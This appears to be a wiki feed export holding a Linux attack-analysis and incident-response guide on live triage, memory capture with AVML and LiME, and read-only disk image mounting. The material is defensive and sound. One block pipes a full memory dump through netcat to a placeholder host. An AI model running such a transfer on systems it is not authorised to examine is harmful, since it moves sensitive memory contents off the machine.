| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=261</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=261"/>
		<updated>2026-10-02T23:30:40Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{submit}}&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
